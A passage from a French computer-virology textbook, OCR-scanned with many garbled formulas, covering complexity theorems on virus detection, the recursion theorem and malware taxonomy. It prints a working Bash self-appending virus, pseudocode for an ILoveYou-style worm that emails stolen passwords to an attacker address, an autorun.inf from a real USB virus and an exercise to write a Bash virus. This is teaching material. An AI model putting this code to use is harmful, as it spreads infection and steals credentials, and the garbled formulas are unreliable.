et fonction de dissimulation. Cette definition definit ici le cas de virus binaires (voir section 5.5.1) mais il est possible de generaliser a un plus grand nombre de parties en considerant le (n + 1)-uplet (a, hI, h 2 , ... , hn ) . Selon le formalisme developpe dans [104, Chapitre 4] et [107], la fonction d'activation decrit a la fois le mode (serie ou parallele) et la sous-classe de virus (A, B ou C). Notons enfin que les composants d'un virus combinatoire selon le formalisme de Zuo et Zhou (ou d'un virus k-aires selon [107]) ne sont pas forcement des virus cux-memcs. C'est precisement la I'interet de ce type de virus (voir [104, Chapitre 4]). Notons que dans [230], les virus dits composites sont definis comme un cas particulier de virus combinatoires, lorsque a et h sont cux-memcs des virus.
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Resultats t.heoriques depuis Cohen (1989-2007)



Resultats d'existence et de cornplexite Unc fois ces classes definies, Zuo et Zhou ont demontre plusieurs resultats fondamentaux. Precisons auparavant quelques notations supplementaires, Les ensembles suivants sont consideres dans la suite: - D n == {i : cPi est un virus non resident}. - Dr == {< i,j >: (cPi,cPj) est un virus resident}. - D p == {< iI, ... ,in >: (cPil' ... cPi n ) est un virus polymorphe a n formes}. - D, == {i : cPi est un virus polymorphe un nombre infini de formes}. - D; == {< i, j >: (cPi, cPj) est un virus furtif}. - D'; == {< i, j >: (cPi, cPj) est un virus combinatoire}. La notation Dffe indique que l'on restreint l'ensemble D(.) aux virus ayant un noyau donne (par exemple celui d'un virus connu). Zuo et Zhou ont alors demontre le theoreme suivant.



Theorerne 23 Les ensembles D, et T); sont non vides. Demonstration. Laissce a titre d'exercice. Le lecteur consultera [230].



D



Notons que la preuve ne considere que des formes triviales pour ces virus, ce qui suffit neanmoins a etablir le resultat (utilisation des fonctions de padding ou de compression). A part sous ces formes triviales, aucun autre type de virus polymorphes ayant un nombre infini de formes n'est connu. II s'agit la d'un probleme ouvert [102]. En revanche pour les virus combinatoires, des formes non triviales ont ete identifiees et crcces [104, Chapitre 4] et [107]. En termes de cornplexite / calculabilite (voir la section 3.3.3 pour les concepts et notations), Zuo et Zhou ont demontre les resultats suivants, dont le lecteur trouvera la preuve dans [230].



'I'heorerne 24 L 'ensemble



n!!:xe est un ensemble II



2-complet.



L 'ensemble



Tr., est un ensemble 173 complet.



La premiere partie de ce theoreme montre que le fait de connaitrc la nature du noyau, s'il permet de reduire la complexite, ne permet pas, d'une manierc generale, de rendre la detection plus facile. Soit maintenant un virus fixe v et notons L, l'ensemble des programmes infectes par v. En considerant les concepts et resultats de la section 3.3.4, le lecteur pourra apprehender les consequences du theoreme suivant etabli par Zuo et Zhou.



Theorerne 25 Il existe un virus v tel que l'ensemble I; est 171-complet.



4.5 Resultats de Z. Zuo et M. Zhou
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Ce theoreme implique plus generalement (voir les exercices en fin de chapitre) que, quel que soit le type de virus, l'ensemble L, L\ -complet. Autrement dit, il n'existe aucun type de virus pour lequella detection est systematiquement facile. Enfin, donnons un autre resultat encore plus pessimiste en ce qui concerne la detection virale.



Theorerne 26 [231} Il existe un virus v tel que I; est non recursi] et il n'existe aucun ensemble recursi] minimal le contenant. En d'autres termes (voir les chapitres 2 et 3), ces virus sont indecidables, Les auteurs n'ont donne qu'un resultat d'existence. Dans [104, Chapitre 6], le lecteur trouvera la description algorithmique de tels virus.



4.5.2 Cornplexit.e en temps et virus Dans leur second article [231], Zuo et Zhou se sont attaches a etudier les problemes de complexite en temps (dexecut.ion). Ces resultats theoriques sont tres importants dans la mesure OU ils donnent un cadre rigoureux pour la conception de techniques virales sophistiquccs quasi indetectables, C'est le cas, par exemple, de la T-obfuscation [20] [104, Section 8.2.3]. Nous reprendrons les notations de la section precedente, Considerons toutefois les notations additionnelles qui suivent. Pour tout programme p, soit t p la fonction definie comme suit:



tp(d,p)



==



Nombre d'instructions utilisees par p pour calculer cPp(d,p), si cPp(d,p) est defini { non defini sinon



==



f-l.t(p( d,p)) s'arrete aprcs t instructions.



Si e est un index de G6del pour le programme p, nous notons t e (d, p) pour



tp(d,p). Theorerne 27 Soit b(i) une fonction recursive totale. Pour tout type de virus informatique, il existe un virus v (i) tel que t e (i) > b( i) en presque tous les programmes i et OU e est un quelconque index de Giklel de v( i). Ce resultat en pratique a pour consequence que, quel que soit le temps que consacre un detecteur antiviral, il sera toujours possible de modifier un virus de sorte qu'il soit indetectable vis-a-vis de ce detecteur. Une application concrete de ce theoreme est la T-obfuscation [20] [104, Section 8.2.3]. Les auteurs donnent dans [231] d'autres resultats partiels concernant la complexite en temps de l'ensemble L; Cependant, il reste de nombreux problemes ouverts dans ce domaine r1021.
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Resultats t.heoriques depuis Cohen (1989-2007)



4.6 La recursion revisitee Dans le chapitre 2 (section 2.2.4), nous avons presente une version du theoreme de recursion de Kleene qui nous a permis d'expliquer le lien existant entre ce theoreme et les mecanismos d'autoreproduction. En 1988, la modelisation des virus par Leonard Adleman s'est appuyee implicitement sur ce theoreme. En 1980, Jiirgen Kraus de I'Universite de Dortmund demontrera rigoureusement, parmi de nombreux autres resultats de tout premier plan (voir section 2.3.4), l'existence de programmes autoreproducteurs a l'aide de ce fameux theoreme. Mais ses resultats ne seront jamais publics si ce n'est dans sa these de doctorat ':' et ils ne seront redecouverts qu'en 2007 et publies en 2008 [151,152]. Entre temps, une partie des resultats de J. Kraus ont ete redemontres independamment - cas frequent dans l'histoire des sciences - par Guillaume Bonfante, Matthieu Kaczmarek et Jean-Yves Marion du LORIA a Nancy [30, 31,147] toujours en considerant ce fameux theoreme de recursion (ainsi que de ses differentes formes). Leur formalisation, comme celIe de Kraus en son temps, permet d'une part de prendre en compte plus de types de malwares et d'autre part d'etre constructive, c'est-a-dire qu'elle explique, en autres choses, comment compiler un virus a partir d'une specification. Mais les travaux du LORIA vont beaucoup plus loin dans le travail de formalisation. Ils ont donne naissance a une vision universelle, elegante et tres puissante. Nous allons resumer les principaux resultats de I'equipe du Loria.



4.6.1 Retour sur Ie t.heorerne de recursion Revenons sur ce theoreme!" , en prcsentant une version plus elementaire pour bien comprendre la relation fondamentale qu'il entretient avec les pro13



14



II est tres probable que des considerations « exterieures » liees a la sensibilite de ses travaux et de ses resultats (lire a ce sujet la section 13), ont empeche, a l'epoque, J. Kraus de les publier, expliquant l'oubli tres regrettable dans lequel ils ont sombre. Le fait que, 25 ans plus tard, des chercheurs ont redemontre independamment une partie des resultats de Kraus, prouve que tenter de controler voire empecher la publication de resultats scientifiques est non seulement stupide et illusoire mais egalement injuste pour son auteur, qui de fait peut et do it etre considere comme le pere fondateur reel de la virologie informatique moderne, et ce pres de six ans avant Fred Cohen, domaine de connaissance qui de fait n'est pas ne aux Etats-Unis mais en Europe, demontrant s'il etait besoin, que le « vieux continent» n'a absolument rien a envier aces derniers, dans le domaine scientifique. Les deux theoremes de recursion, celui-ci et celui donne dans la section 2.2.4, sont mathematiquement equivalents mais leurs demonstrations sont differentes et done donnent des constructions de noints fixes differentes.
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grammes autoreproducteurs et la virologie et montrer comment il est possible de l'utiliser. Rappelons que CPP correspond a I'execution du programme p et que cpp(XI, . . . ,xn ) est I'cxecution du programme p sur les parametres d'entree Xl, . . . ,X n · En d'autres termes, cpp(XI, ... , x n ) correspond a l'appel de la forme exec(p, Xl, . . . ,X n ) presente dans de nombreux langages de programmation. Nous allons enonccr un resultat qui est a premiere vue simple. II existe une fonction spec telle que :



Autrement dit, la fonction spec specialise le premier argument du programme p a la valeur Xl. Ainsi, spec(p, Xl) est un programme OU la valeur Xl est gelee dans p. Ceci est bien connu en theorie de la compilation sous le nom d' evaluation partielle [145, page 60] [144]. La fonction de specialisation spec est d'ailleurs un exemple frappant d'un concept abstrait qui donne un vrai eclairage sur la pratique de la compilation. Considerons le second theoreme de recursion de S. C. Kleene [149] :



Theorerne 28 Pour tout programme p, il existe un point fixe v tel que:



La demonstration de ce theoreme permet de construire un point fixe v a partir d'un programme p (voir plus loin). Donnons la preuve de cette seconde forme du theoreme de recursion.



Demonstration. Soit q le programme de la fonction cpp(spec(y, y), x). Le code q depend directement du code du programme p. Po sons v == spec(q, q). Nous verifions que : CPv(X) == CPspec(q,q) (x)



par definition de v



==



cpq(q, x)



par definition de spec



==



CPP (spec(q, q), x)



par definition de q



==



cpp(v, x)



car v == spec(q, q)



Nous concluons que le programme vest un point fixe du programme p.



D



Considerons un exemple concret d'application, pour illustrer I'utilite de ce theoreme, G. Bonfante et al. [30] definissent un ecto-symbiote comme un virus aui vit a la surface des nroararnmes en conservant leur structure intacte.



102



Resultats t.heoriques depuis Cohen (1989-2007)



Ainsi, un ecto-symbiote v qui infecte une liste de programmes PI, . . . ,Pn verific une equation de la forme :



ou la fonction 6 attache le virus v a un programme Pi. Cette equation comporte une inconnue v. La solution est obtenue en appliquant le theoreme de recursion. Dans le cas d'un langage de programmation dans lequel nous avons acces a une reference sur le programme qui s'execute, la construction de vest relativement facile. Illustrons ce point par le code Bash d'un ecto-symbiote qui se comporte comme dans I'equation ci-dessus : # Pour chaque fichier FName for FName in *;do # Si FName n'est pas Ie programme # appelant if [ $FName != $0 J; then # ajout du code du programme appelant # a Ia fin du fichier FName cat $0 » $FName fi done



Ce code correspond a un virus en langage interprete, fonctionnant par ajout de code en mode appender (voir section 5.4). Dans cet exemple, la variable $0 fait reference au programme qui s'execute et nous avons ainsi « nativement » un mecanisme cl'auto-reference. Ceci etant, un tel mecanisme n'est pas toujours present. D'ailleurs precisons que la demonstration du theoreme de recursion n'en a pas besoin. A la difference de l'exemple precedent en Bash, l'auto-reference dans la demonstration du theoreme est obtenue en specialisant un programme a son propre code. G. Bonfante et ale ont montre que le contenu constructif de la demonstration de ce theoreme peut ainsi etre exploite directement pour produire des virus. Precisons que l'un des createurs d'UNIX, Ken Thompson, decrit une construction similaire d'un cheval de Troie en C (infection de type code source; voir section 5.4.5) dans son celebre article [217]. Pour bien comprendre cette idee mais aussi pour en percevoir I'utilite, les auteurs du Loria l'ont illustree par un exemple inspire d'un virus du type ILoveYou:
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Love(v,x) {



/* Trouver un mot de passe */ pass := exec(find,x); /* L'envoyer ! */ sendmail("[email protected]",pass); /* recuperer les contacts */ /* du carnet d'adresse */ contact =exec(extractContact,x); /* Pour chaque contact */ while (contact) {



/* Envoyer une copie de v exec(sendmail,contact,v); book next(contact);



*/



} }



Dans cet exemple, les auteurs ont imagine un scenario dans lequel ils avaient acces a differentes fonctions systeme. L'attaquant cherche une information pass a partir du point d'entree x. Pour cela, il execute une procedure systcme find. Une fois l'information cible recuperee, il se l'envoie. II lui reste a contaminer tous les contacts qu'il a trouves dans le carnet d'adresse de sa victime en leur envoyant un virus v par email, selon un scenario maintenant devenu classique. Remarquons toutefois que la fonction Love n'est ici que la specification du virus et le code v n'est pas defini, Pour l'obtenir, il suffit maintenant d'appliquer le theoreme de recursion qui produit un point fixe pour Love. Dans un premier temps, construisons le programme



q(y,x) {exec(Love,spec(y,y),x);} Ensuite, nous obtenons un virus en posant v == spec(q, q). Le theoreme nous assure que I'execution de v(x) est identique a celle de Love(v,x). En faisant un abus de notation, nous avons v(x) == Love(v, x). Remarquons que cette construction est uniforme par rapport a une specification virale comme Love. En fait, nous obtenons une construction automatique d'un virus v a partir d'une specification virale quelconque f qui verifi« :
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Les auteurs du Loria ont appele, a juste titre, cette classe de virus blueprint. En allant plus loin, il est possible de produire une distribution de virus blueprint de virus a partir d'une specification en suivant les techniques de compilation :



comp(f)



== spec(q, q)



ou q(x,y)



== f(spec(y,y),x)



La fonction comp compile un virus a partir de la specification virale f. L'approche des chercheurs du Loria est particulierement puissante car elle permet de decrire et de construire formellement des classes entieres de virus. II suffit de considerer la specification adequate.



4.6.2 Les mecanismes de mutation G. Bonfante et ale ont montre qu'il etait possible d'aller plus loin avec le theoreme de recursion (comme nous l'avons egalement mcntionne dans la section 2.2.4). La seconde forme du theoreme de recursion peut etre renforcee de differentes facons. Chaque variante definit une classe de virus de manicre rigoureuse en fonction du degre de complexite de son mecanisme d'autoreproduction. Presentons une version de ce theoreme qui permet de construire un compilateur de virus « mutants », que les chercheurs du LORIA ont appelcc theoreme de recursion explicite.



Theorerne 29 Soit p un programme. Il existe un programme m tel que



De plus, le programme m peut etre injectif. Demonstration. Cette demonstration s'appuie sur le theoreme de recursion. Soit m le point fixe du programme spec(p, z, y). Nous avons CfJm (y)



== spec(p, m, y)



Ainsi,



CfJeprn(Y) (x)



== CfJspec(p,m,y) (x) == CfJp(m,y,x)



L'injectivite de m est assuree en rendant le programme spec injectif, ce qui n'est nas tron difficile. D
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Ici m est le code d'un generateur de point fixe. Chaque rpm (y) est un point fixe pour le programme p. Des lors, et en reprenant la memc trame que precedemment (voir section precedente}, il est possible de definir une specification virale qui utilise le generateur m pour produire un nouveau virus a chaque infection. II est alors possible de generer des virus mutants (autrement dit polymorphes) pour une memc specification. Si nous revenons au scenario precedent, nous pouvons modifier la specification virale Love de sorte a envoyer non pas la meme copie du virus que celui qui s'execute, mais une copie differente avec les memes fonctionnalites.



ExplicitLove(m,t,x) {



pass := exec(find,x); sendmail("[email protected]",pass); book := exec(extractContact,x); while (book) {



/* Construction de la generation t + 1 */ v = exec(m,t+1); /* Envoi exec(sendmail,book,v); book next(book);



*/



} }



Dans la specification virale ExplicitLove, le virus vest obtenu a partir d'un generateur m et de la variable t pourrait, par exemple, etre l'horloge systeme. Le theoreme de recursion explicite fournit automatiquement un generateur m qui vcrifie I'equation : rp'Pm(t) (x) == ExplicitLove( m,



t, x)



Ici, rpm(t) est le virus de generation (forme mutee) t. A son tour, le theoreme de recursion explicite permet de definir une classe de virus, appeles Smiths par les chercheurs du Loria, qui satisfont I'equation generale suivante :



ou fest une specification virale et le virus v a ete produit par le generateur m, c'est-a-dire qu'il existe t tel que rpm(t) == v. Encore une fois, la construction est uniforme. II est donc possible de construire une distribution de virus mutants a nartir d'une snecification virale. C'est eaalement sur ce nrincine
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que fonctionnent les generateurs automatiques de virus comme The Virus creation Lab (VCL) ou de vers comme Ie VBS Worm Generator (VBSWG) (voir section 5.5.1). Les travaux de G. Bonfante, M. Kaczmarek et Jean-Yves Marion ont redemontre et generalise avec elegance la notion d'autoreproduction, englobant des concepts tres larges de la virologie informatique (voir exercices). Ils ont pousse tres loin l'exploration du formalisme fonde sur le theoreme de recursion. Cette exploration, au-dela du simple interet purement theorique, commence a deboucher sur des resultats et des techniques concretes dans le domaine de la detection virale, preuve que l'approche formelle et deductive est la plus interessante et la plus puissante. Nous conseillons fortement au lecteur de s'interesser aux travaux du laboratoire de haute securite (LHS) du LORIA (en particulier lire [147]).



4.7 Conclusion Ces travaux importants ont eu comme premier meritc de stimuler et d'attirer de jeunes chercheurs vers la virologie informatique, memc si le nombre de ces derniers est encore trop restreint. Mais le mouvement semble en marche. Les travaux prometteurs de Matthew Webster [225] de I'Universite de Liverpool, de Jose Morales [177], de Gregoire Jacob [141,142]' parmi d'autres, en temoigncnt et, chaque annee, quelques etudiants manifestent leur interet pour les travaux de formalisation en virologie informatique et debutent une these. La premiere constatation, surprenante seulement en apparence, est que ce mouvement est tres nettement centre sur le « vieux continent». L'Europe, memc si l' Asie semble egalement connaitrc un fremissement indeniable, concentre l'essentiel des « nouveaux» travaux en virologie informatique formelle. Le succes de la conference WTCV a Nancy (Workshop in Theoretical Computer Virology) et I'evolution sensible des programmes de la conference EICAR (European Institute in Computer Antivirus Research) - la doyenne des conferences en virologie - demontrent tres clairement une preeminence de la recherche europeenne dans le domaine de la virologie informatique theorique, preeminence dans laquelle la France a acquis une position dominante. Alors que les Etats-Unis ou le Japon semblent vouloir rester dans une vision plus commerciale et industrielle de la virologie informatique. C'est en quelque sorte un retour aux sources si l'on considere ce qui a ete presente dans le chanitre 2.



4.7 Conclusion
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Les quelques resultats theoriques prcscntes dans ce chapitre et qui font suite aux travaux fondateurs de Fred Cohen et de Leonard Adleman montrent par leur qualite toute la puissance de la formalisation dans le domaine de la virologie informatique. En quelques annces, ces travaux significatifs tout d'abord brillamment confirme que la virologie ne se resumait pas a I'ecriture et a la diffusion de codes malveillants - vision que les editeurs d'antivirus ont tres largement contribue a propager - memc si, il est vrai, ces activites sont a l'origine, mais en partie seulement, de cette science. Ces resultats ont egalement ouvert de tres nombreuses autres voies de recherche et mis en evidence de tres nombreux problemes ouverts [102]' lesquels croissent regnlierement en nombre au fur et a mesure des travaux; mais c'est la I'interet de la recherche : se poser des questions et si possible les bonnes, et ensuite y repondre. Certes, les rcponses apportees le plus souvent confirment un peu plus chaque fois I'incapacite a resoudre le probleme de la detection virale. La plupart des resultats de complexite le prouvent. Mais ce n'est pas la le seul apport de ces travaux. Certes, cette approche exploratoire permet de gagner une vision de plus en precise et ordonnee de la jungle des codes malveillants. En outre, cela permet egalement de mieux developper, en amont, une defense preventive - au niveau des politiques de securite, de la conception des logiciels, des systemes d'exploitation, des antivirus, du materiel informatique.... Autrement dit, comprendre ce qui se passe, ce qui peut arriver est le meilleur moyen de s'en protcger. C'est la que reside la necessite imperieuse de faire de la recherche en securite, en particulier en virologie informatique. Cette recherche doit reposer a la fois sur une activite de formalisation rigoureuse et volontaire mais egalement privilegier la vision de l'attaquant. Cette derniere approche a montre toute sa puissance avec la production de nouveaux resultats theoriques et pratiques qui sont prcscntes en detail dans l'ouvrage faisant suite au present livre [104] et consacre aux techniques virales les plus sophistiquecs.



Exercices 1. En vous aidant des references [135] et [4]' comparer les modeles RAM, RASPM, RASPM/ABS et RASPM/SABS avec celui de la machine de Turing (modele TM). Montrer que la complexite C(n) d'un programme de type RAM sur une entree de taille n et celle, notee C' (n) de la version equivalente pour le modele RASPM sont telles que C(n) == kC'(n) OU k est une constante. 2. Demontrer le theoreme 19.
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3. Demont.rcr Ie theoreme 20. 4. Montrer que les modeles RASPM/ABS et RASPM/SABS sont plus adaptes pour decrire la classe des virus compagnons (voir chapitre 9) ainsi que celIe des virus multi-plateformes. 5. Ecrivez un virus par ecrasement de code VN, en Bash (voir le chapitre 8 pour plus de details) dont les premieres lignes sont



#!/bin/bash declare -i sig=N La valeur cntierc Nest incrcmcntec lors de la duplication virale (le code est alors « polymorphe », certes de manierc triviale). En reprenant les notations de la demonstration presentee dans la section 4.4, nous noterons A la generation initiale Va et Pi la z-iemc generation (mutee) de A. A l'aide des remarques faites en fin de section 4.4 : a) Proposez un codage eA (respectivement epi) pour A (respectivement Pi). b) Proposez une formule logique F telle que e A ne satisfait pas F mais qui est satisfaite par er, et pour un i unique fixe. c) Programmez un detecteur V utilisant cette formule F pour determiner que er, est une forme mutec de A. d) Ecrivez un programme en Bash, non viral, provoquant une fausse alarme relativement a V. 6. Modifier la definition 40 afin de decrire formellement un virus realisant a la fois une infection ET delivrant une charge finale, en sachant que le second point de la definition de Zuo et Zhou a pour objectif de faire de l'infection une caracteristique intrinseque de tout programme viral. 7. Comparer les definitions 42 et 46 et expliquer ce qui distingue fondamentalement ces deux types de virus. 8. En vous aidant des resulats d'Adleman et de la preuve du theoreme 25, montrer que ce theoreme implique que, quel que soit le type de virus, l'ensemble t, L\ -complet. 9. Montrer que la construction des virus de type Blueprint peut etre utilisee pour expliquer et decrire le principe sur lequel fonctionnent les generateurs automatiques de virus comme The Virus creation Lab (VCL) ou de vers comme le VBS Worm Generator (VBSWG) (voir section 5.5.1).
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Taxonomie, techniques et outils



5.1 Introduction Les aspects theoriques de la virologie informatique que nous venons de presenter dans les deux chapitres precedents sont peu connus, non seulement du grand public mais aussi quelquefois de certains experts de la securite informatique. En particulier, I'elargissement de la simple notion de virus a celIe plus generale d'infection informatique, par L. Adleman, est elle aussi trop souvent ignorec. Le terme de virus informatique, ne, rappelons-Ie, en 1986, est pourtant desormais bien connu du grand public. L'informatique, omnipresente dans le milieu professionnel et, de plus en plus, dans les foyers, l'utilisation d'Internet et plus generalement des rcseaux, ont confronte, au moins une fois, une importante majorite des utilisateurs au risque viral. Cependant, il s'avere que dans les faits la connaissance de ces derniers (au sens le plus large du terme, ce qui inclut souvent les administrateurs et les responsables de la securite informatique) en matiere de virologie informatique presente encore beaucoup de lacunes, au point d'augmenter les risques plut6t que de les diminuer. Le terme de virus, lui-meme, est en fait improprement utilise pour designer la classe plus generale des programmes offensifs dont Adleman a realise la taxonomie et qui n'ont rien a voir avec les virus: vers, chevaux de Troie, bombe logique, leurres, etc. Les virus, de plus, recouvrent une realite bien plus complexe qu'il n'y parait. De nombreuses sons-categories existent, de nombreuses techniques virales s'y rapportent, toutes impliquant des risques differents qui doivent etre connus en vue d'une protection et d'une lutte efficaces. Afin d'illustrer l'importance du risque viral, resumons-le par quelques chiffres narticulierement nertinents : le ver ILoveYou a infecte en 1999 nlus
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de 45 millions d'ordinateurs dans le monde". Plus recemrnent, le ver Sapphire/Slammer [39] a infecte 200 000 serveurs au total dans le monde, dont plus de 75 000 serveurs l'ont ete dans les dix premieres minutes suivant le debut de l'infection. Le ver W32/Sobig.F a infecte, en aout 2003, plus de 100 millions d'utilisateurs (source F -Secure). Le ver W32/Lovsan a egalement frappe en aout 2003, infectant TOUS les abonnes d'un grand fournisseur d'acces Internet. Le virus CIH dit Chernobyl [88] a oblige des milliers d'utilisateurs, en 1998, a changer la carte mere de leur ordinateur apres en avoir detruit le programme BIOS. Les degats provoques par ce virus sont estimes a pres de 250 millions d'euros pour la seule Coree du Sud. On estime que le cout des degats provoques par un ver informatique generique, au niveau planetaire, peut atteindre plusieurs milliards d'euros". Enfin, fin janvier 2004, le ver d'emails MyDoom a infecte plus de cent millions de mails dans les trente-six premieres heures apres le debut de l'infection [96]. Ces chiffres montrent avec force l'importance d'une prise en compte serieuse de la menace virale. Dans ce chapitre, nous allons presenter les virus et les vers informatiques, et les envisager dans le contexte general, et plus realiste aujourd'hui, des infections informatiques (les Anglo-Saxons utilisent le terme de malware) dont l'organisation est presentee en figure 5.1. Nous donnerons dans un premier temps les definitions de base pour ensuite presenter toutes les varietes existant pour ces programmes ainsi que leur fonctionnement, sans oublier leurs techniques d'adaptation aux defenses que l'utilisateur peut lui opposer. L'aspect historique des diverses infections informatiques ne sera pas aborde ici. II existe suffisamment de tres bons ouvrages qui ont traite le sujet, en particulier [133]. La presentation des principaux virus ayant sevi ces dernieres annecs ne sera pas non plus donnee, Decrirc un virus ou un ver sans donner le code source nous semble un non-sens, Nous avons prefere, dans la partie 6.3.2, presenter de facon detaillee l'algorithmique virale a travers I'etude approfondie de quelques virus et vers qui couvrira les principales techniques qu'ils utilisent. Le lecteur pourra, cependant, consulter les sites de certains editeurs d'antivirus, particulierement bien faits et documcntcs:'. 1 2
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http://news.bbc.co.uk/hi/english/sci/tech/newsid_782000/782099.stm Selon plusieurs sources, la moyenne des degats pour un macro-ver comme Melissa est



estimee a 1,1 milliards d'euros tandis, que pour le ver d'emails ILove You, ce chiffre est d'environ 8,75 milliards d'euros. La section 6.2.2 presente le mode de calcul generalement utilise pour evaluer le cout d'une attaque virale. Les sites de Sophos (www. sophos. com), de F-Secure (www. fsecure. com) et d' AVP (www. viruslist. com et antivirus-france. com) sont narticulierement interessants.
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Codes autoreproducteurs



FIG. 5.1. Classi fication des infection s infor matiqucs



5.2 Aspects generaux des infections informatiques 5.2.1 Definitions et concepts de base II existe plusieurs definitions de la notion d 'in fection inform atique mais, en general, aucune n 'est veritabl ement complete dans la mesure OU les evolut ions recentes en matiere de criminalite informatique ne sont pas prises en compte. Nous adopterons, pour notre part , la defini tion generals suivant e :



Definition 48 (Infection inf on natique) Programme simple ou autoreprodut eur, a caraciete offensif, s'ins tallant dans un syst em e d'information, a l 'insu du ou des ut ilisat eurs, en vue de port er att einte a La confid entialite, l 'integrite ou La dispon ibilite de ce susteme, ou suscepti ble d'incrimin er a tori son possesseur ou l 'utilisateur dans La realisation d 'un crime ou d 'un tlelit . En considerant cet te definition et l'organigramme de la figure 5.1, la notion d 'infection corresn ond a un e installation de nrozramrn e. dans le cas d 'une
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infection simple et a une duplication de code dans le cas de programmes autoreproducteurs. Apres une attaque, il est encore surprenant de constater combien nombreux sont encore les utilisateurs, enclins a la relativiser et la minimiser en declarant : « De toute [aeon, ma machine ne contenait rien de confidentiel». L'atteinte a la confidentialite des donnees, a I'integrite et a la disponibilite du systeme, n'est plus forcement la priorite des attaquants. En revanche, nombreux sont les exemples d'attaques qui ont eu pour but d'utiliser un systeme, en toute transparence (il n'y a donc pas atteinte a la disponibilite) , pour perprctcr crimes et delits. Or, certains attaquants usent de precautions pour effacer toute trace de leur passage dans le systeme ainsi detourne. Cela peut se traduire par une incrimination de l'utilisateur. II decouvre ainsi, en rneme temps, que son ordinateur a ete attaque et qu'il contient, par exemple, des images pedophiles ou que son poste a ete utilise pour mener des attaques informatiques. Ces cas sont malheureusement nombreux. C'est la raison pour laquelle la notion d'incrimination a ete rajoutee dans notre definition. Le mode general de propagation et d'action de ces programmes est le suivant : 1. le programme infectant proprement dit est porte par un programme hate (dit programme infecte ; dans le cas de la premiere infection realisee par l'attaquant, le terme de dropper [« largueur» est utilisel) ; 2. lorsque le dropper est execute: a) le programme infectant prend la main et agit selon son mode propre, le programme hate est alors temporairement mis en sommeil ; b) puis il rend la main au programme hate qui s'execute alors normalement sans trahir la presence du programme infectant. Notons que le dropper peut etre egalement un peripherique. La fonction de demarrage automatique materialisee par la presence d'un fichier autorun.inj sur le peripherique en question permet de lancer automatiquement un fichier. Prenons le cas du virus AdobeR. Uno clef USB infectee par ce virus contiendra le fichier autorun. inf suivant :



[AutoRunJ open=AdobeR.exe e shellexecute=AdobeR.exe e shell\Auto\command=AdobeR.exe e shell=Auto
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Chaque fois que cette clef est connectee sur un ordinateur sain, ce dernier est infecte (passage en persistance). Toute clef USB saine qui est connectee a cet ordinateur sera infectee. Les attaques par infections informatiques sont toutes basees plus ou moins fortement sur I'ingenierie sociale [93], a savoir l'utilisation des travers, des mauvaises habitudes ou inclinations de l'utilisateur, mais egalement l'exploitation des peurs de l'utilisateur ou simplement en mettant en oeuvre de la simple manipulation psychologique". Le dropper prend une forme anodine, generalement attractive (jeux, animations flash, copies illicites de logiciels, mails « raccoleurs »... afin d'inciter la victime a I'executer et ainsi permettre a l'infection de s'installer ou de se propager. Dans ce domaine, l'utilisateur constitue alors le maillon faible, I'element limitant de toute politique de securite. II faut insister sur le fait que l'infection d'un utilisateur n'est possible que s'il a execute un programme infecte ou importe dans son systeme des donnees corrompues (cas des virus de documents ou des virus binaires dont une application est presentee en section 16 avec le virus YMUN20). Un autre aspect important du mode d'action des programmes infectant , qu'il est important de prendre en compte, est la presence, toujours plus frequents, de vulnerabilites logicielles (ou « failles ») qui rendent possibles les attaques par ce programme independamment des utilisateurs. Les debordements de tampon", des failles d'execution (execution automatique du contenu de pieces jointes de messages electroniques par certaines versions d'OutlookjOutlook Express) ... sont autant d'exemples recents et prcoccupants qui montrent que le risque devient multiforme. Dans une politique de securite, le choix des logiciels revet une importance toute particuliere, A titre d'exemple, une etude rapide des principaux vers, ayant sevi depuis deux ans, montre que pratiquement tous ont exploite une faille de securite des produits tels qu' OutlookjOutlook Express ou le Web Server lIS. Depuis le deuxieme semestre 2001, periode particulierement riche en infections majeures (CODERED, NIMDA, BADTRANS), ces dernieres ont incite les responsables de securite a reconsiderer leurs choix en matiere de 4



5



Un exemple recent assez representatif est celui d'une variante du ver Sober qui a sevi en novembre 2005. Le ver se propage via un courrier electronique semblant emancr du FBI et indiquant que leur adresse IP a ete reperee sur trente sites web illegaux. Les utilisateurs sont alors invites a remplir un questionnaire en piece jointe - en realite le ver. La « peur du gendarme» fait le reste. En anglais, « buffer overflow»; le non-controle de la longueur des parametres de certains programmes provoque I'ecrasernent, par des instructions infectieuses contenues dans ces parametres, des instructions legitimes devant etre executees par le processeur; pour plus de details sur les debordements de tampon, le lecteur consultera [5,16] ou la section 10.3.1.
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logiciels. II est certain que les logiciels libres sont desormais regardes avec interet. Mais ce « nirvana logiciel » - constitue du monde Linux, Apple... - n'existe qu'en apparence. Des failles en nombre toujours croissant sont decouvertes chaque annce pour tous les systemes d'exploitation et tous les logiciels. II n'existe par consequent aucun « sanctuaire ». Gageons malheureusement que, lorsque ces « havres de paix informatiques » que sont les Linux ou autres Apple seront plus repandus, ils deviendront des cibles plus interessantes pour les attaquants. Leur succes s'accompagnera de la memc frenesie de developpement concurrentiel, et avec lui les failles seront plus nombreuses. Les infections informatiques qui vont etre decrites dans ce qui suit existent pour tous les environnements informatiques et ne sont pas le fait exclusif de tel ou tel systeme d'exploitation. Les techniques peuvent certes varier d'un systeme a l'autre, mais dans la mesure OU ce sont de simples programmes, quoique particuliers, leur viabilite technique est assures des lors que les elements suivants sont presents: - de la memoirc de masse (peripherique de stockage), dans laquelle le programme infecte se trouve sous forme inactive; - de la memoirc vive, dans laquelle est copie le programme (creation de processus) lorsqu'il est execute; - un processeur ou un micro-controleur. pour I'execution proprement dite du programme; - un systeme d'exploitation ou equivalent. L'evolution recente des programmes infectants vers des plateformes exotiques (cheval de Troie Phage pour Palm Pilot, virus Duts infectant les ordinateurs de poche de type PocketPC [98], le ver Cabir se propageant via les telephones portables fonctionnant sous le systeme SymbOS [98], virus Tremor utilisant le reseau de television allemand par cable pour infecter les ordinateurs ... ) a montre que le simple cadre de l'ordinateur devient desormais depasse et que la menace devient globale. Les quatre elements cites sont les seuls points communs a tous ces environnements. Signalons enfin que tous ces systemes heterogenes sont appeles a etre connectes les uns avec les autres. Le ver Symbos_ Cardtrp.a, en septembre 2005, se propage via les technologies Bluetooth et MMS utilisees dans les telephones portables ayant pour systeme d'exploitation Symbian 60. Si le telephone contient une carte memoire, le ver s'y copie mais sous une version pour le systeme d'exploitation Windows. Cette derniere s'activera alors dans un ordinateur de type PC lorsque la carte mcmoire sera inseree dans un lecteur idoine. Sous Windows. le ver nrend I'annarence d'une icone invitant
